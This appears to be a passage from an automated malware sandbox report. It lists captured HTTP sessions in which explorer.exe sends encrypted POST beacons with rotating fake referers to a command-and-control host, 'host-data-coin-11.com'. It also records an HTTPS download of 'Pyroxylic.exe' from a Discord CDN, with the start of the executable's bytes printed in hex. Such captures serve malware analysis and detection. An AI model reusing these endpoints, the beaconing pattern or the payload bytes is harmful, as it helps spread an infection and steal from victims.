Dec 31, 2021 19:13:29.356889009 CET	15834	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de be 66 5d 02 c8 a1 c1 64 1d 82 8f 1b Data Ascii: lIw3xKaEMnXwmDu$f]d?k"g_Uo\U'&pX#;o8\|6N-(4e]g6H-M4f;N7b:]sU'!\LiLR`x0S^mMUB{MybdfleqW0
Dec 31, 2021 19:13:29.429088116 CET	15835	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 85 4f 13 25 1e e9 e9 df b7 82 16 95 2d ec 0d 0a 30 0d 0a 0d 0a Data Ascii: 22I:82OO%-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49858	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:29.945832014 CET	15854	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://flpqjwn.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: host-data-coin-11.com
Dec 31, 2021 19:13:29.945854902 CET	15854	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bf 66 5d 02 c8 a1 c1 64 03 81 ca 10 Data Ascii: lIw3xKaEMnXwmDu$f]dZl{vOI&/T@3Pzzl?U-297@:=S:(9do#N"rr,IFP1{!UE!lJ}CZMh5Z (;hqh<.
Dec 31, 2021 19:13:30.021696091 CET	15855	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 59 8c 3a f8 0e 69 c0 31 c3 db 66 f1 64 50 06 b9 bc 8e 16 a3 1b 80 02 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OTeY:i1fdP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49860	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:30.857661009 CET	16877	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ecisb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 215 Host: host-data-coin-11.com
Dec 31, 2021 19:13:30.857681036 CET	16877	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bc 66 5d 02 c8 a1 c1 64 31 df c7 2f Data Ascii: lIw3xKaEMnXwmDu$f]d1/87V9zV'AO.Kps&>k: C.M09:+t5(_nxg;p;4%+AMr=EJ\sfgF
Dec 31, 2021 19:13:30.944114923 CET	16878	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 94 4e 08 79 06 be aa 85 bc a1 5e b1 44 ca 7a a6 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 25I:82ONy^DzU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49864	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:32.673908949 CET	17485	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vdktv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: host-data-coin-11.com
Dec 31, 2021 19:13:32.674010038 CET	17486	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de bc 66 5d 02 c9 a1 c1 64 36 b2 d3 0f Data Ascii: lIw3xKaEMnXwmDu$f]d6@keUCKLz:OpXzNOmx8"6@/#]8$`h(A0r_j&fDO5{I kda9MjMi7sF0ajpVy1
Dec 31, 2021 19:13:32.751321077 CET	17486	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49865	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:32.853833914 CET	17487	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wgorhofx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 224 Host: host-data-coin-11.com
Dec 31, 2021 19:13:32.853884935 CET	17488	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bd 66 5d 02 c8 a1 c1 64 2e 86 de 6c Data Ascii: lIw3xKaEMnXwmDu$f]d.lPiy~fo(btXK]3>J{&MXO,%#MY[Dn;6_nu85O_cTS:w,V(e<8dcMfl![
Dec 31, 2021 19:13:32.928443909 CET	17488	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49757	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:38.102374077 CET	1019	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hxdjiru.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 256 Host: host-data-coin-11.com
Dec 31, 2021 19:12:38.102555990 CET	1019	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 02 d5 8d 05 Data Ascii: lIw3xKaEMnXwmDu$f]dG\|{hJyX%,)zkeDi<6,Kh$B*k"7:SNR=$,Bx!<cJy?+KJ%M^Uih'J,9\|tRP\JV(CR
Dec 31, 2021 19:12:38.206077099 CET	1019	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f0 1e b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49758	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:38.304112911 CET	1020	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mmvvc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: host-data-coin-11.com
Dec 31, 2021 19:12:38.304960012 CET	1020	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 02 ca dd 67 Data Ascii: lIw3xKaEMnXwmDu$f]dgQf}!f,k\mNg+o.o+:ZOW~Y/l\yGScP#[Mrw):Jw"n])~Xy/]Q5vGVsR\|Z5;u6dz]2DL
Dec 31, 2021 19:12:38.407917976 CET	1021	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49759	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:38.753726006 CET	1022	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://svqrvcsnva.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 337 Host: host-data-coin-11.com
Dec 31, 2021 19:12:38.753755093 CET	1022	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 4e b9 cc 2d Data Ascii: lIw3xKaEMnXwmDu$f]dN-v1Lef$t3V}V12CV]+<'8\bT[FCsV4'rX<2`e7pu(MGK]=&m&PFlYCN7n 4'
Dec 31, 2021 19:12:38.830111027 CET	1023	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49760	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:39.174892902 CET	1024	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bqubwhk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 148 Host: host-data-coin-11.com
Dec 31, 2021 19:12:39.174916029 CET	1024	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 4d c5 83 12 Data Ascii: lIw3xKaEMnXwmDu$f]dM}n}KhQI$riIb[[.dV`8.(H1#l7~_Wq
Dec 31, 2021 19:12:39.252798080 CET	1025	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49820	162.159.133.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-31 18:12:58 UTC	0	OUT	GET /attachments/916319571638620172/925647741571452938/Pyroxylic.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2021-12-31 18:12:58 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 31 Dec 2021 18:12:58 GMT Content-Type: application/x-msdos-program Content-Length: 537600 Connection: close CF-Ray: 6c657aab28b35c14-FRA Accept-Ranges: bytes Age: 195305 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Pyroxylic.exe ETag: "7fce0e163ea7948c10b044b1ea77dad9" Expires: Sat, 31 Dec 2022 18:12:58 GMT Last-Modified: Wed, 29 Dec 2021 07:13:39 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1640762019336518 x-goog-hash: crc32c=DEsdtA== x-goog-hash: md5=f84OFj6nlIwQsESx6nfa2Q== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 537600 X-GUploader-UploadID: ADPycdtbIqvKEqSmZZlbnzA0UZu5K_9FTOzw6gxvgOcyvaCLoqYGSY3Swu1P_nJEZF0PB77ekA8c1tY_GmZqc8OOUvs X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-31 18:12:58 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 37 35 4f 57 36 78 7a 78 55 77 58 66 47 78 69 25 32 42 64 4e 32 50 74 78 68 79 64 74 42 4e 6c 6f 4d 31 52 59 38 75 57 4f 56 52 6f 52 59 31 45 69 4e 6c 36 73 4d 59 44 44 6c 38 37 25 32 42 56 7a 74 30 69 76 73 4e 51 4b 6f 44 36 53 5a 65 4f 50 39 6b 36 38 65 56 31 59 4d 4a 6a 52 6f 41 43 37 73 6d 57 51 45 31 49 48 59 6c 74 35 4d 46 4f 64 49 76 57 68 4a 41 77 38 74 4f 64 6e 74 58 6c 4e 52 56 75 37 43 45 6e 63 42 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=75OW6xzxUwXfGxi%2BdN2PtxhydtBNloM1RY8uWOVRoRY1EiNl6sMYDDl87%2BVzt0ivsNQKoD6SZeOP9k68eV1YMJjRoAC7smWQE1IHYlt5MFOdIvWhJAw8tOdntXlNRVu7CEncBg%3D%3D"}],"group":"cf-nel","max_age":60
2021-12-31 18:12:58 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b9 9b b6 87 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 2c 08 00 00 06 00 00 00 00 00 00 0e 4a 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0,J `@ @
2021-12-31 18:12:58 UTC	2	IN	Data Raw: 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 0e 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 f6 28 a9 00 00 06 28 60 Data Ascii: ***((0(((((((((((((((((0**((`
2021-12-31 18:12:58 UTC	4	IN	Data Raw: 06 12 03 11 04 11 05 11 06 17 1b 1f 11 06 28 93 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0b 1f 0e 1f 13 06 28 93 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1b 1b 1f 15 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0a 1f 09 1f 16 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0f 1f 0e 1f 17 06 28 93 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 09 1b 1f 19 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0e 1f 09 1f 1a 06 28 93 00 00 06 12 05 11 06 09 11 04 19 1f 0e 1f 1b 06 28 93 00 00 06 12 04 11 05 11 06 09 1e 1f 14 1f 1c 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 0d 1b 1f 1d 06 28 93 00 00 06 12 06 09 11 04 11 05 18 1f 09 1f 1e 06 28 Data Ascii: ((((((((((((((
